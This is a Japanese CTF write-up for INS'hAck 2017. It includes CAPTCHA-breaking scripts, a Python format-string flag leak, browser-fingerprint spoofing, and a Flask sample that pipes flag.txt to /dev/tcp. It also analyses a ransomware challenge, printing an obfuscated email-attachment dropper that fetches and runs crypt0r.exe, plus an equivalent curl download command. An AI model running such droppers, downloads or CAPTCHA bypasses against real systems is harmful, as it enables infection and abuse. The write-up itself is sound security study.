チーム Harekaze で INS’hAck 2017 に参加しました。最終的にチームで 3045 点を獲得し、順位は 6 位 (得点 364 チーム中) でした。うち、私は 23 問を解いて 2869 点を入れました。
以下、解いた問題の write-up です。
アンケートに答えるとフラグが得られました。
INSA{See you next year :D}
Telegram のチャットルームに入るとフラグが得られました。
INSA{R34L_H4x0r5_u53_t3L3Gr4m}
nc matrix.insecurity-insa.fr 2052
を実行すると 2178 文字の U+2584 が出力されました。
2178=66*33
です。幅 66 高さ 33 に整形すると DataMatrix コードが出てきました。
INSA{Pl4y_w1th_b@rC0d3}
音声の CAPTCHA を破る問題でした。ゴリ押ししましょう。
import hashlib
import re
import requests
import struct
t = '''
03e5d8eff3c5ff76a8a460db29283ecc e
09a72bfd59924971b73c7e4559f41bda u
0e390886800a656cf8293ee589aaa11d a
24c9b1f91c321386e66b0a55c1e0c7cd a
25709f1e506572f612cf3ce25791d3a6 e
2b392cb110a5611e1305520d871e05e2 i
30da50e03aac4fa36e228d552a6d7d64 u
3420923f32d9ff1c0abcccf4f219f33f a
35cbe7fa3037d5b567b7f729278fd9c2 a
4630db6667cd0d242a7cd335e6edcd23 e
4e371c91493ec8858dd6427ce0e62833 a
5335d8619affe022ef898edafe9c8ece e
60af3c421c22a6d51c706d3d5c625ca4 a
612461c6b974c2b5b6297b12948d2cd2 o
625e2782614dbc15db17b8e8e5e922c3 u
68b97f630d93cbcc779321bd691cd073 o
75026e16b0a49fc21b5819f426f039d9 u
8cc7d9c65233609ad8f094a1e1a39dea o
8f7c8d1a36233736dbb4af2942913afb i
9cf78857f5fcd30c54e02997bf695d5e a
9d93528c1c1522205c26c244cce995f3 o
9e591ba9e8d0089ff9fb95c07f8bf037 i
ac7c1d52e787b1fe1204b84a1dd581b8 a
b778cce8f0bc3787a735e50ae889b4e0 o
bc81c7c9f79f5d78a9c46eff77cb401f i
c999654049576ff783e01d315f9b12e6 i
e2c3f6f086477af9e0c1221e81881711 e
ffde8d69320b33973599ca0c87c6648f o
1f3d6167c725c274c68696542319ee8c i
3c95e1fe4b87362e640f23847747dac9 u
6ebd997500054946a4b5681b6201ef2b o
8b46bf9f7f2d9189a425d65b2f7ef065 a
766b0a5178bf67ff35d707ac5e95e603 e
6629f9edfbc39dbcdc7d7fcb8918e3d0 i
ab6f8ea6b9c060056c53cd7e4e670f2b o
86952163bce770d63b5adb1ba1936c2d i
ba4e5381b0e5d1b94595c42efa96c1ad i
f5688c4ed9ac65367bac584379c6677d e
79078c0f118bacc61d6c12d0ad861928 e
32ee638bf79cbfa8fd2cd04617b74bf4 u
29e4e599b048cedeb69c6222a59d8587 i
5e1ee1f90a0be738ac758adceaa266b6 u
01fe71336e9a8231715a17183ea98782 e
1e62de4682c19fa5bcce4ceb78d24b67 o
3a5d40cade32869f671dd55004156aa4 a
6a05d0f0e2da387b100f15393abb4de7 u
acb223ee55e3424b3d741beb6b7f7929 e
feca364bbc6ce0a9bb8f02eef2b6eb18 o
d85c812dd9560b4d51f2e9f738555fb2 u
f6428307ac9da9efddc8e6b8657de053 a
facba08add4e4be2d03af9a507b0c5e1 o
8a6e0f31dece69c26a3b98209456bb91 u
6d3aaf99cb38b55019b6c47c0fbdd0db e
a58d52055c8b3946614b5d176ef62972 u
'''.strip()
table = {line.split(' ')[0]: line.split(' ')[1] for line in t.splitlines()}
header = b'RIFF.$+\x00WAVEfmt \x10\x00\x00\x00\x01\x00\x01\x00"V\x00\x00D\xac\x00\x00\x02\x00\x10\x00data'
r = requests.get('https://captcha-audio.insecurity-insa.fr/')
cookies = r.cookies
wav = requests.get('https://captcha-audio.insecurity-insa.fr/captcha?id=aaaaaaaa', cookies=cookies).content
res = ''
for c in re.split(rb'\0{256,}', wav[0x2c:]):
if c == b'':
continue
hash = hashlib.md5(c).hexdigest()
if hash not in table:
print(hash)
with open('tmp/{}.wav'.format(hash), 'wb') as f:
f.write(header + struct.pack('<I', len(c)) + c)
res += table.get(hash, '')
print(res)
print(requests.post('https://captcha-audio.insecurity-insa.fr/submit', cookies=cookies, data={
'captcha': res
}).content)
以下の画像のような、文字の CAPTCHA を破る問題でした。
まず r, g, b がそれぞれ異なるピクセルだけを残して、文字だけを抽出しましょう。
文字の位置を調整しましょう。
あとは pytesseract に投げましょう。
import io
import re
import requests
import pytesseract
from PIL import Image
cookies = {
'PHPSESSID': 'xxxxxxxxxxxxxxxxxxxxxxxxxx'
}
serial = 'HFEK-RAZAZ-45666-ARZA-RAAA'
url = 'https://captcha-image.insecurity-insa.fr/register.php'
r = requests.get(url, cookies=cookies).content
c = re.findall(r'<img id="captcha" src=\'data:image/png;base64,(.+)\'', r)[0]
im = Image.open(io.BytesIO(c.decode('base64'))).convert('RGB')
w, h = im.size
pix = im.load()
for y in range(h):
for x in range(w):
r, g, b = pix[x, y]
if r == g and g == b:
pix[x, y] = (255, 255, 255)
else:
pix[x, y] = (0, 0, 0)
sy = 25
dy = 4
cw, ch = 27, 54
xs = [53, 137, 213, 296, 375]
for x in xs:
im2 = im.crop((x, sy, x + cw, sy + ch))
im.paste(im2, (x, dy))
im = im.crop((0, 0, w, 51))
captcha = pytesseract.image_to_string(im, config='-psm 8')
captcha = captcha.lower()
data = {
'name': 'a@example.com',
'serial': serial,
'captcha': captcha
}
r = requests.post(url, cookies=cookies, data=data, headers={
'Referer': url
})
print r.content
INSA{The_Plants_Are_A_Lie}
与えられた URL のソースコードにフラグがありました。
<input type="hidden" value='TODO: change main password of "Admin" from "INSA{ThatWasATrainingOneDontWorry}" to "123456"'>
INSA{ThatWasATrainingOneDontWorry}
与えられた URL にアクセスしてソースコードを見ると、/script.js
が読み込まれていました。
/script.js
は以下のような内容でした。
function pasuser(form){if(form.id.value=="admin"){if(x(form.pass.value,"6")=="NeAM+bh_saaES_mFlSYYu}nYw}"){location="success.html"}else{alert("Invalid password/ID")}}else{alert("Invalid UserID")}}
var _0x8d99=["","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68","\x73\x75\x62\x73\x74\x72"];function x(_0x9aadx2,_0x9aadx3){var _0x9aadx4=[];var _0x9aadx5=_0x8d99[0];for(z=1;z<=255;z++){_0x9aadx4[String[_0x8d99[1]](z)]=z};for(j=z=0;z<_0x9aadx2[_0x8d99[2]];z++){_0x9aadx5+=String[_0x8d99[1]](_0x9aadx4[_0x9aadx2[_0x8d99[3]](z,1)]^_0x9aadx4[_0x9aadx3[_0x8d99[3]](j,1)]);j=(j<_0x9aadx3[_0x8d99[2]])?j+1:0};return _0x9aadx5}
難読化されていますが、入力と 6\0
を xor しているだけです。
from pwn import *
encrypted = '7F4E65414D2B62685F73616145535F6D466C535959757D6E59771D7D'.decode('hex')
print xor(encrypted, '6\0')
でフラグが表示されました。
INSA{+ThisWasSimpleYouKnow+}
色々とヒントが与えられるので、条件に合致するような環境を作って evaluate()
を実行しろという問題でした。
とりあえずそのまま evaluate()
を実行してみると
p[]:Widevine Content Decryption Module
p[]:Chrome PDF Viewer
p[]:Native Client
p[]:Chrome PDF Viewer
offset:-540
f[]:Constantia
f[]:Corbel
f[]:Ebrima
...
h:800
w:1423
d[]:
d[]:
d[]:
d[]:
d[]:
d[]:
d[]:
ip:...
str:045645
を /php/handle.php に POST していました。では、少しずつ調べていきましょう。
This is the key link to all my discoveries : https://browserleaks.com/webrtc
They can know about how many audio or video inputs I use, that may seems harmless but it’s really important for me. I am now looking for something that could save me here, something that could hide my inputs.
ソースを読むと d[]=
は以下のようにして取得していました。消してしまいましょう。
navigator['mediaDevices']['enumerateDevices']()['then'](function(_0xfe3cx6) {
_0xfe3cx6['forEach'](function(_0xfe3cx1c) {
_0xfe3cx1a['push'](_0xfe3cx1c['label']);
_0xfe3cx1b++;
if (_0xfe3cx1b == _0xfe3cx6['length']) {
result['d'] = _0xfe3cx1a;
}
})
})['catch'](function(_0xfe3cx6) {
console['log'](_0xfe3cx6['name'] + ': ' + _0xfe3cx6['message'])
});
In the adjacent picture you can see that with a simple curl request I could get classified information, the key is the user agent.
Note : I hid my private IP address, I doubt that it can be usefull but who knows…I also masked the classified informations.
User-Agent は xXxGetSecretInfoxXx
と分かります。
I can’t say where I moved because they would find me, the only thing that I can mention is that I have changed of time zone. AEST ! AEST ! AEST !
AEST は UTC+10 です。ソースを読むとタイムゾーンは以下のようにして取得していました。
result['offset'] = (new Date)['getTimezoneOffset']();
Date.prototype.getTimezoneOffset() - JavaScript | MDN に AEST の例がそのまま載っています。offset=-600
です。
You may think I should just change browser but it is too late already. For now I will just block all cookies, local storage and activate the “do not track function”.
I think they can spy me through my google account, I have checked about it so I am totally deconnected from youtube, gmail… For the smooth progress of my project I have to be connected to github, hoping it won’t hurt me…
I have to begin somewhere so I have chosen to install chromium on my computer. Obviously I have installed some add-on. You may think that adBlock was my first choice but I prefered to install Hackbar first.
Cookie と localStorage はブロック、DNT もオンにしているようです。Google アカウントはログアウトしており、GitHub にはログインしているようです。また、HackBar をインストールしているようです。
ソースを読むと以下のようにしてこれらの情報を取得していました。
$['get']('chrome-extension://ejljggkpbkchhfcplgpaegmbfhenekdc/iframe.html')['done'](function() {
str += '1';
str += navigator['cookieEnabled'] ? '4' : '7';
str += navigator['doNotTrack'] ? '5' : '8';
str += testLocalStorage() ? '6' : '9';
var img = document['createElement']('img');
img['src'] = 'https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Ffavicon.ico%3Fid%3D1';
img['onload'] = function() {
str += '4';
var img = document['createElement']('img');
img['src'] = 'https://accounts.google.com/ServiceLogin?passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Ffavicon.ico&uilel=3&hl=en&service=youtube';
img['onload'] = function() {
str += '5', result['str'] = str
};
img['onerror'] = function() {
str += '9', result['str'] = str
}
};
img['onerror'] = function() {
str += '7';
var img = document['createElement']('img');
img['src'] = 'https://accounts.google.com/ServiceLogin?passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Ffavicon.ico&uilel=3&hl=en&service=youtube';
img['onload'] = function() {
str += '5', result['str'] = str
};
img['onerror'] = function() {
str += '9', result['str'] = str
}
}
})['fail'](function() {
str += '0';
str += navigator['cookieEnabled'] ? '4' : '7';
str += navigator['doNotTrack'] ? '5' : '8';
str += testLocalStorage() === !0 ? '6' : '9';
var img = document['createElement']('img');
img['src'] = 'https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Ffavicon.ico%3Fid%3D1';
img['onload'] = function() {
str += '4';
var img = document['createElement']('img');
img['src'] = 'https://accounts.google.com/ServiceLogin?passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Ffavicon.ico&uilel=3&hl=en&service=youtube';
img['onload'] = function() {
str += '5', result['str'] = str
};
img['onerror'] = function() {
str += '9', result['str'] = str
}
};
img['onerror'] = function() {
str += '7';
var img = document['createElement']('img');
img['src'] = 'https://accounts.google.com/ServiceLogin?passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Ffavicon.ico&uilel=3&hl=en&service=youtube';
img['onload'] = function() {
str += '5', result['str'] = str
};
img['onerror'] = function() {
str += '9', result['str'] = str
}
}
});
先ほどの条件では str=175949
になります。
If you have followed me for more than a year, you know that I have built the first screen with a 8000*4578 resolution. I might put a link for the new followers when I will have finish my project…
Well, today I wanted to see what my last favorite font would looked like on number 58. Obviously it didn’t work, there is still some work to accomplish here.
h=4578&w=8000
です。
ソースを読むと以下のようにしてフォントを取得していました。
var _0xfe3cx1d = ['monospace', 'sans-serif', 'serif'],
_0xfe3cx1e = ['Abadi MT Condensed Light', 'Bangla Sangam MN', 'Bank Gothic', ..., 'Zurich BlkEx BT', 'Zurich Ex BT', 'ZWAdobeF'],
_0xfe3cx1f = 'mmmmmmmmmmlli',
_0xfe3cx20 = '72px',
body = document['getElementsByTagName']('body')[0],
_0xfe3cx22 = document['createElement']('div'),
_0xfe3cx23 = document['createElement']('div'),
_0xfe3cx24 = {},
_0xfe3cx25 = {},
_0xfe3cx26 = function() {
var _0xfe3cx6 = document['createElement']('span');
_0xfe3cx6['style']['position'] = 'absolute';
_0xfe3cx6['style']['left'] = '-9999px';
_0xfe3cx6['style']['fontSize'] = _0xfe3cx20;
_0xfe3cx6['style']['lineHeight'] = 'normal';
_0xfe3cx6['innerHTML'] = _0xfe3cx1f;
return _0xfe3cx6;
};
_0xfe3cx27 = function(_0xfe3cx6, _0xfe3cx1c) {
var _0xfe3cx2c = _0xfe3cx26();
_0xfe3cx2c['style']['fontFamily'] = '\'' + _0xfe3cx6 + '\',' + _0xfe3cx1c;
return _0xfe3cx2c
};
_0xfe3cx28 = function() {
for (var _0xfe3cx6 = [], _0xfe3cx1c = 0, _0xfe3cx2c = _0xfe3cx1d['length']; _0xfe3cx1c < _0xfe3cx2c; _0xfe3cx1c++) {
var _0xfe3cx2d = _0xfe3cx26();
_0xfe3cx2d['style']['fontFamily'] = _0xfe3cx1d[_0xfe3cx1c];
_0xfe3cx22['appendChild'](_0xfe3cx2d);
_0xfe3cx6['push'](_0xfe3cx2d)
};
return _0xfe3cx6
};
_0xfe3cx29 = function() {
for (var _0xfe3cx6 = {}, _0xfe3cx1c = 0, _0xfe3cx2c = _0xfe3cx1e['length']; _0xfe3cx1c < _0xfe3cx2c; _0xfe3cx1c++) {
for (var _0xfe3cx2d = [], _0xfe3cx2e = 0, _0xfe3cx2f = _0xfe3cx1d['length']; _0xfe3cx2e < _0xfe3cx2f; _0xfe3cx2e++) {
var _0xfe3cx30 = _0xfe3cx27(_0xfe3cx1e[_0xfe3cx1c], _0xfe3cx1d[_0xfe3cx2e]);
_0xfe3cx23['appendChild'](_0xfe3cx30);
_0xfe3cx2d['push'](_0xfe3cx30)
};
_0xfe3cx6[_0xfe3cx1e[_0xfe3cx1c]] = _0xfe3cx2d
};
return _0xfe3cx6
};
_0xfe3cx2a = function(_0xfe3cx6) {
for (var _0xfe3cx1c = !1, _0xfe3cx2c = 0; _0xfe3cx2c < _0xfe3cx1d['length']; _0xfe3cx2c++) {
if (_0xfe3cx1c = _0xfe3cx6[_0xfe3cx2c]['offsetWidth'] !== _0xfe3cx24[_0xfe3cx1d[_0xfe3cx2c]] || _0xfe3cx6[_0xfe3cx2c]['offsetHeight'] !== _0xfe3cx25[_0xfe3cx1d[_0xfe3cx2c]]) {
return _0xfe3cx1c
}
};
return _0xfe3cx1c
};
_0xfe3cx2b = _0xfe3cx28();
body['appendChild'](_0xfe3cx22);
for (var _0xfe3cx31 = 0, _0xfe3cx32 = _0xfe3cx1d['length']; _0xfe3cx31 < _0xfe3cx32; _0xfe3cx31++) {
_0xfe3cx24[_0xfe3cx1d[_0xfe3cx31]] = _0xfe3cx2b[_0xfe3cx31]['offsetWidth'], _0xfe3cx25[_0xfe3cx1d[_0xfe3cx31]] = _0xfe3cx2b[_0xfe3cx31]['offsetHeight']
};
var _0xfe3cx33 = _0xfe3cx29();
body['appendChild'](_0xfe3cx23);
for (var result = [], i = 0, len = _0xfe3cx1e['length']; i < len; i++) {
if (_0xfe3cx2a(_0xfe3cx33[_0xfe3cx1e[i]])) {
result['push'](_0xfe3cx1e[i]);
}
};
body['removeChild'](_0xfe3cx23);
body['removeChild'](_0xfe3cx22);
result['f'] = result;
_0xfe3cx1e
の中に 'Original by fnkfrsh'
がありました。これで f[]=Original by fnkfrsh
になると分かります。
あとは curl 'https://fingerprint.insecurity-insa.fr/php/handle.php' -H 'user-agent: xXxGetSecretInfoxXx' --data 'offset=-600&f[]=Original by fnkfrsh&h=4578&w=8000&str=175949'
でフラグが表示されました。
INSA{Tr4ck1ng_1s_E4sY}
解法をメモしていなかったので最後に使ったスクリプトのみ。
import base64
import socket
import dns.resolver
resolver = dns.resolver.Resolver()
resolver.nameservers = [socket.gethostbyname('dnssec.challenge-by.ovh')]
n = '00NCOV5KYHGNE27FW9PYKM2B.datastore.challenge-by.ovh'
with open('result.txt', 'w') as f:
while True:
s = str(resolver.query(n, 'TXT')[0])
print(s[1:-1])
f.write(s[1:-1])
n = str(resolver.query(n, 'NSEC')[0]).split(' ')[0]
INSA-3c6e652a93e69f0aad2a329b67b7a034
from flask import Flask, request, render_template
import subprocess
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/source')
def sourcecode():
return render_template('./static/source.py')
@app.route('/flag')
def get():
if request.method == 'GET':
ip = request.args.get('ip')
port = request.args.get('port')
flag = open('flag.txt').readline()
allowed = {
"allowed_ip": "8.8.8.8",
"allowed_port": port,
"allowed_flag": flag
}
if ip and ip != '' and port and port != '':
if port.isdigit():
if ip == allowed.get("allowed_ip"):
subprocess.Popen("cat flag.txt > /dev/tcp/" + str(ip) + "/" + str(port), shell = True, executable = "bash")
return ("SUCCESS: The flag have been sent to DST IP %s and DST PORT %s\n") % (ip, port)
else :
return ("You have choose IP " + ip + ", but only %(allowed_ip)s will receive the key\n") % allowed
else :
return ("Port invalid\n")
else :
return ("Please choose an IP and a PORT\n")
else :
return ("FAIL: Method HTTP not allowed (%s)\n") % (request.method)
if __name__ == '__main__':
app.run(host = '0.0.0.0', port = 80)
というソースが与えられます。
よく見ると怪しい箇所があります。
return ("You have choose IP "+ ip +", but only %(allowed_ip)s will receive the key\n") % allowed
ip に %(allowed_ip)s
を与えると "You have choose IP %(allowed_ip)s, but only %(allowed_ip)s will receive the key\n" % allowed
のようになります。
https://python.insecurity-insa.fr/flag?ip=%25(allowed_flag)s&port=1 にアクセスするとフラグが表示されました。
INSA{Y0u_C@n_H@v3_fUN_W1Th_pYth0n}
pcap ファイルが与えられます。strings すると以下のような文字列がありました。
Vmxkd1NrNVhVbk5qUlZKU1ltdGFjRlJYZEhOaWJFNVhWR3RPV0dKVmJEWldiR1JyV1ZkS1ZXRXphRnBpVkVaVFYycEtVMU5IUmtobFJYQlRUVmhDTmxZeFdtdGhhelZ5WWtWYWFWSlViRmRVVlZaYVRURmFjbFpyT1ZaV2JXUTJWa1pvYTFkck1YVlVhbHBoVWxack1GUlZaRXRqVmxaMVZHMTRXRkpVUlRCWFdIQkdUbGRHY2s1VmFFOVdNWEJoV1Zkek1XSldaSFJPVm1SclZsZDRXbFJWVm5wUVVUMDk=
5 回 base64 デコードするとフラグが得られました。
INSA{TCP_s0ck3t_4n4lys1s_c4n_b3_fun!}
70 通のメールが tar.gz 形式で与えられます。どのような添付ファイルがあるか探していると、以下のようなファイルを見つけました。
145A4TZODF48DHOGRGVQ9L9DS8ZFGCBD.eml:Content-Type: application/octet-stream; name="sandoche.briman.pdf.js"
145A4TZODF48DHOGRGVQ9L9DS8ZFGCBD.eml:Content-Description: sandoche.briman.pdf.js
145A4TZODF48DHOGRGVQ9L9DS8ZFGCBD.eml:Content-Disposition: attachment; filename="sandoche.briman.pdf.js"; size=4082;
try{
var b = String.fromCharCode(118, 97, 114, 32, 106, 32, 61, 32, 91, 34, 87, 83, 99, 114, 105, 112, 116, 46, 83, 104, 101, 108, 108, 34, 44, 34, 83, 99, 114, 105, 112, 116, 105, 110, 103, 46, 70, 105, 108, 101, 83, 121, 115, 116, 101, 109, 79, 98, 106, 101, 99, 116, 34, 44, 34, 83, 104, 101, 108, 108, 46, 65, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 34, 44, 34, 77, 105, 99, 114, 111, 115, 111, 102, 116, 46, 88, 77, 76, 72, 84, 84, 80, 34, 93, 59, 10, 118, 97, 114, 32, 117, 32, 61, 32, 91, 34, 97, 97, 97, 99, 99, 46, 34, 44, 32, 34, 58, 47, 34, 44, 32, 34, 103, 112, 111, 122, 103, 122, 101, 106, 103, 111, 122, 106, 34, 44, 32, 34, 103, 108, 107, 114, 103, 106, 111, 101, 103, 106, 110, 102, 111, 122, 112, 107, 102, 112, 122, 101, 34, 44, 32, 34, 116, 111, 112, 34, 44, 32, 34, 119, 105, 110, 51, 50, 34, 44, 32, 34, 99, 114, 121, 112, 116, 48, 114, 34, 44, 32, 34, 98, 105, 110, 97, 114, 105, 101, 115, 34, 44, 32, 34, 115, 119, 101, 101, 116, 118, 112, 110, 34, 44, 32, 34, 46, 34, 44, 32, 34, 97, 114, 99, 104, 34, 44, 32, 34, 101, 120, 101, 34, 44, 32, 34, 104, 116, 116, 112, 34, 44, 32, 34, 47, 34, 93, 59, 10, 10, 116, 114, 121, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 115, 104, 32, 61, 32, 67, 114, 40, 48, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 102, 115, 32, 61, 32, 67, 114, 40, 49, 41, 59, 10, 10, 32, 32, 32, 32, 118, 97, 114, 32, 115, 50, 32, 61, 32, 69, 120, 40, 34, 116, 101, 109, 112, 34, 41, 32, 43, 32, 34, 92, 92, 34, 32, 43, 32, 117, 91, 50, 42, 50, 43, 49, 93, 32, 43, 32, 32, 117, 91, 55, 43, 51, 45, 49, 93, 43, 32, 117, 91, 53, 42, 50, 43, 49, 93, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 102, 105, 32, 61, 32, 102, 115, 46, 67, 114, 101, 97, 116, 101, 84, 101, 120, 116, 70, 105, 108, 101, 40, 115, 50, 44, 116, 114, 117, 101, 41, 59, 10, 32, 32, 32, 32, 102, 105, 46, 87, 114, 105, 116, 101, 40, 80, 116, 40, 50, 53, 54, 53, 52, 53, 52, 52, 56, 52, 53, 49, 52, 56, 53, 52, 56, 52, 53, 52, 56, 55, 56, 52, 56, 44, 32, 34, 107, 103, 106, 103, 101, 112, 111, 103, 61, 107, 102, 79, 73, 73, 73, 101, 101, 111, 101, 122, 106, 61, 61, 34, 41, 41, 59, 10, 32, 32, 32, 32, 102, 105, 46, 67, 108, 111, 115, 101, 40, 41, 59, 10, 32, 32, 32, 32, 115, 104, 46, 114, 117, 110, 40, 115, 50, 41, 59, 10, 125, 10, 99, 97, 116, 99, 104, 32, 40, 101, 114, 114, 41, 10, 123, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 69, 120, 40, 83, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 115, 104, 46, 69, 120, 112, 97, 110, 100, 69, 110, 118, 105, 114, 111, 110, 109, 101, 110, 116, 83, 116, 114, 105, 110, 103, 115, 40, 34, 37, 34, 32, 43, 32, 83, 32, 43, 32, 34, 37, 34, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 80, 116, 40, 67, 44, 65, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 88, 32, 61, 32, 67, 114, 40, 51, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 84, 32, 61, 32, 117, 91, 49, 50, 93, 32, 43, 32, 117, 91, 55, 37, 54, 93, 32, 43, 32, 117, 91, 49, 51, 93, 32, 43, 32, 117, 91, 51, 93, 32, 43, 32, 117, 91, 57, 93, 32, 43, 32, 117, 91, 50, 43, 50, 42, 48, 93, 32, 43, 32, 117, 91, 49, 48, 50, 57, 42, 48, 93, 32, 43, 32, 117, 91, 56, 42, 49, 48, 47, 50, 48, 42, 50, 93, 32, 43, 32, 117, 91, 57, 93, 32, 43, 32, 117, 91, 52, 93, 32, 43, 32, 117, 91, 49, 51, 93, 32, 43, 32, 117, 91, 55, 93, 32, 43, 32, 117, 91, 49, 51, 93, 32, 43, 32, 117, 91, 49, 48, 93, 32, 43, 32, 32, 117, 91, 49, 48, 43, 54, 47, 50, 93, 32, 43, 32, 117, 91, 55, 45, 50, 93, 32, 43, 32, 117, 91, 49, 52, 43, 53, 45, 54, 93, 32, 43, 32, 117, 91, 54, 93, 32, 43, 32, 117, 91, 57, 93, 32, 43, 32, 117, 91, 49, 49, 93, 59, 10, 10, 32, 32, 32, 32, 88, 46, 111, 112, 101, 110, 40, 39, 71, 69, 84, 39, 44, 32, 84, 32, 43, 32, 34, 63, 112, 61, 114, 38, 108, 61, 34, 32, 43, 32, 67, 44, 32, 102, 97, 108, 115, 101, 41, 59, 10, 32, 32, 32, 32, 88, 46, 83, 101, 116, 82, 101, 113, 117, 101, 115, 116, 72, 101, 97, 100, 101, 114, 40, 34, 85, 115, 101, 114, 45, 65, 103, 101, 110, 116, 58, 34, 44, 32, 34, 77, 97, 100, 101, 32, 98, 121, 32, 98, 52, 99, 99, 52, 114, 100, 49, 34, 41, 59, 10, 32, 32, 32, 32, 88, 46, 115, 101, 110, 100, 40, 65, 41, 59, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 88, 46, 114, 101, 115, 112, 111, 110, 115, 101, 116, 101, 120, 116, 59, 10, 125, 10, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 114, 40, 78, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 110, 101, 119, 32, 65, 99, 116, 105, 118, 101, 88, 79, 98, 106, 101, 99, 116, 40, 106, 91, 78, 93, 41, 59, 10, 125, 10, 10);
eval(b);
} catch (err) {}
eval
を console.log
に書き換えて実行し、整形すると以下のようなコードが得られました。
var j = ["WScript.Shell","Scripting.FileSystemObject","Shell.Application","Microsoft.XMLHTTP"];
var u = ["aaacc.", ":/", "gpozgzejgozj", "glkrgjoegjnfozpkfpze", "top", "win32", "crypt0r", "binaries", "sweetvpn", ".", "arch", "exe", "http", "/"];
try {
var sh = Cr(0);
var fs = Cr(1);
var s2 = Ex("temp") + "\\" + u[2*2+1] + u[7+3-1]+ u[5*2+1];
var fi = fs.CreateTextFile(s2,true);
fi.Write(Pt(2565454484514854845487848, "kgjgepog=kfOIIIeeoezj=="));
fi.Close();
sh.run(s2);
}
catch (err)
{
}
function Ex(S) {
return sh.ExpandEnvironmentStrings("%" + S + "%");
}
function Pt(C,A) {
var X = Cr(3);
var T = u[12] + u[7%6] + u[13] + u[3] + u[9] + u[2+2*0] + u[1029*0] + u[8*10/20*2] + u[9] + u[4] + u[13] + u[7] + u[13] + u[10] + u[10+6/2] + u[7-2] + u[14+5-6] + u[6] + u[9] + u[11];
X.open('GET', T + "?p=r&l=" + C, false);
X.SetRequestHeader("User-Agent:", "Made by b4cc4rd1");
X.send(A);
return X.responsetext;
}
function Cr(N) {
return new ActiveXObject(j[N]);
}
curl "http://glkrgjoegjnfozpkfpze.gpozgzejgozjaaacc.sweetvpn.top/binaries/arch/win32/crypt0r.exe?p=r&l=2565454484514854845487848" -d "kgjgepog=kfOIIIeeoezj==" -A "Made by b4cc4rd1"
という感じで crypt0r.exe をダウンロードし、実行しています。
http://glkrgjoegjnfozpkfpze.gpozgzejgozjaaacc.sweetvpn.top/binaries/arch/.flag にフラグがありました。
INSAc79371180eddac4582321f98d32db67c
http://glkrgjoegjnfozpkfpze.gpozgzejgozjaaacc.sweetvpn.top/binaries/arch/dbg64/ で crypt0r.jessie
と crypt0r.wheezy
の 2 つのバイナリが得られました。
crypt0r.jessie
を実行してみると以下のような結果になりました。
$ ./crypt0r.jessie
The file to encrypt has not been found.
$ ltrace ./crypt0r.jessie
__libc_start_main(0x403616, 1, 0x7ffc559a9f48, 0x403780 <unfinished ...>
fopen("./crypt0r.jessie", "rb") = 0xcc2010
fseek(0xcc2010, 0, 2, 0xfbad2480) = 0
ftell(0xcc2010, 0xcc20f0, 0, 0x5ad6) = 0x5ad6
fseek(0xcc2010, 0x5ace, 0, 0x5ace) = 0
fread(0x7ffc559a9e08, 8, 1, 0xcc2010) = 1
fseek(0xcc2010, 0x56fc, 0, 0x56fc) = 0
malloc(979) = 0xcc2250
fread(0xcc2250, 978, 1, 0xcc2010) = 1
fclose(0xcc2010) = 0
fopen("crypt.me", "r") = 0
printf("The file to encrypt has not been"...The file to encrypt has not been found.
) = 40
+++ exited (status 1) +++
crypt.me
が存在する場合のみ、crypt.me
を暗号化するようです。echo flag{DUMMY} > crypt.me
して再度実行すると以下のようになりました。
$ ./crypt0r.jessie
src/crypt.c :: 149181049
src/crypt.c :: Generate p
src/crypt.c :: Generate q
src/crypt.c :: Compute n
src/crypt.c :: Compute phi
src/crypt.c :: Generate e
src/crypt.c :: Compute modular inverse
src/crypt.c :: Compute derivative p
src/crypt.c :: Compute derivative q
src/crypt.c :: Compute modular inverse of q mod p
src/crypt.c :: Gonna encrypt the input
src/crypt.c :: Got encrypted data.
src/comm.c :: Retrieve enc key
src/comm.c :: Connect to the CnC.
src/comm.c :: Get host by name
src/comm.c :: cnc.challenge-by.ovh
src/comm.c :: Prepare sockaddr
src/comm.c :: Connect.
src/comm.c :: Cannot connect.
src/comm.c :: Cannot retrieve key
src/main.c :: Write enc file.
src/main.c :: BAM
____ _ ___
/ ___|_ __ _ _ _ __ | |_ / _ \ _ __
| | | '__| | | | '_ \| __| | | | '__|
| |___| | | |_| | |_) | |_| |_| | |
\____|_| \__, | .__/ \__|\___/|_|
|___/|_|
!! You've been Crypt0riz3d nigga !!
Send 50 bitcoins on my wallet to get back
your file and send me the following code:
38fe-452-6
If you don't, in 7 days it's gonna be 100.
Your file has been encrypted using RSA
algorithm, only my decrypt0r can give you
the file back.
~~~ Cyber Super Villain of the Darknet ~~~
src/main.c :: free mem
src/crypt.c :: free_keys()
decrypt.me
に暗号化されたファイル、private.pem
に秘密鍵が書き込まれました。暗号化されたファイルの復号は Crypt0r Part3 でやることにして、まずはバイナリの解析をしましょう。
crypt0r.jessie
を strings にかけると、Generate p
や Generate q
のような文字列は見つかりますが crypt.me
If you don't, in 7 days it's gonna be 100.
のような文字列は見つかりません。これらの文字列はどこから出てきたのでしょう。
fopen("crypt.me", "r")
がどこで実行されているのか探していると、以下のような処理を見つけました。
40338f: bf 08 00 00 00 mov edi,0x8
403394: e8 e5 fe ff ff call 40327e <BN_is_prime@plt+0x1d5e>
403399: be 80 3b 40 00 mov esi,0x403b80
40339e: 48 89 c7 mov rdi,rax
